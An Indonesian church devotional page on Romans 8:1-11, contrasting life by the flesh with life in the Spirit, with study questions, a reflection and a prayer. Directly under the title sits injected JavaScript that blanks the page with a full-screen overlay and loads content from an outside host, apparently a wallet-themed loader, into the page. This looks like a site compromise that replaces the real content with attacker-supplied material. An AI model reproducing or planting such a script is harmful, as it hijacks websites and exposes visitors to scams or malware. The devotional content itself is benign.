PEPERANGAN JAMAN NOW

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 16 Juli 2023

Roma 8 : 1 – 11

Pengantar                                                         

Rasul Paulus menegaskan bahwa orang yang percaya kepada Kristus adalah orang yang sudah dimerdekakan. Namun demikian harus disadari bahwa kehidupan yang sudah dimerdekakan itu tetap masih membutuhkan perjuangan. Karena sekalipun ia telah dimerdekakan oleh Kristus namun bisa diibaratkan masih tetap berada dalam medan peperangan. Medan peperangan yang dihadapi tentu bukan seperti seorang prajurit militer, melainkan peperangan melawan berbagai keinginan duniawi, konsumerisme atau berbagai hawa-nafsu duniawi yang bisa menggiringnya menjauh dari Tuhan. Hari ini kita belajar bagaimana menghadapi peperangan di zaman now.

Pemahaman

  1. Apa yang dijelaskan oleh Rasul Paulus tentang hidup menurut daging menurut Roh? (v. 5-8)
  2. Apa alasan bahwa orang percaya harus hidup dalam Roh? (v. 9-11)

Pada bacaan hari ini Rasul Paulus menegaskan bahwa hanya ada dua model kehidupan di dunia ini, yaitu hidup menurut daging dan hidup menurut Roh. Dari ke dua model hidup itu terdapat perbedaan yang sangat mendasar dan kontras di antara keduanya. Orang yang hidup menurut daging memikirkan hal-hal yang dari daging. Cara hidup seperti itu bertentangan dengan hukum Allah dan pasti menghasilkan maut atau kematian kekal. Cirinya adalah: memikirkan hal-hal yang dari daging (hal-hal duniawi), melawan atau menjadi seteru Allah, tidak takluk kepada hukum Allah dan hidup tidak berkenan kepada Allah (v. 7-8). Sebaliknya, orang yang hidup

menurut Roh memikirkan hal-hal Rohani, menghasilkan damai sejahtera, Roh Allah diam di dalamnya sehingga hidup dalam kebenaran (v. 5, 9-10). Orang yang hidup menurut daging memang tidak selalu orang yang sama sekali belum mengenal kebenaran Kristus, tetapi mungkin ia tahu kebenaran namun belum mengalami kelahiran baru sehingga tidak mau berjuang untuk hidup dalam kebenaran, sehingga kebiasaannya adalah hidup menurut daging, misalnya: masih suka melakukan hal-hal yang bertentangang dengan kebenaran Tuhan (Band. Gal. 5:19-21). Orang yang hidup dalam Roh, ia bukan orang yang sempurna, ia bisa jatuh dalam dosa, tetapi dalam kuasa Roh Kudus ia terus berjuang untuk mematikan keinginan- keinginan daging, pikirannya tertuju kepada hidup yang kekal dan hidup takut akan Allah, karena ia menyadari dirinya adalah milik Allah (v. 14-17).

Refleksi

Saudara-saudara, menyadari bahwa kita berada dalam peperangan rohani, maka sebaiknya kita harus terus berjuang hidup dalam

pimpinan Roh Kudus sebagai wujud nyata kita hidup dalam Roh.

Tekadku

Ya Roh Kudus, tolonglah kami untuk setia dan taat hidup dalam pimpinan-Mu, agar tidak mudah jatuh pada hidup dalam daging.

Tindakanku

Mari, saudara-saudara kita terus berjuang dalam pimpinan kuasa Roh Kudus, agar kita tidak mudah jatuh dalam godaan peperangan zaman now yang dapat menjerumuskan kita.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *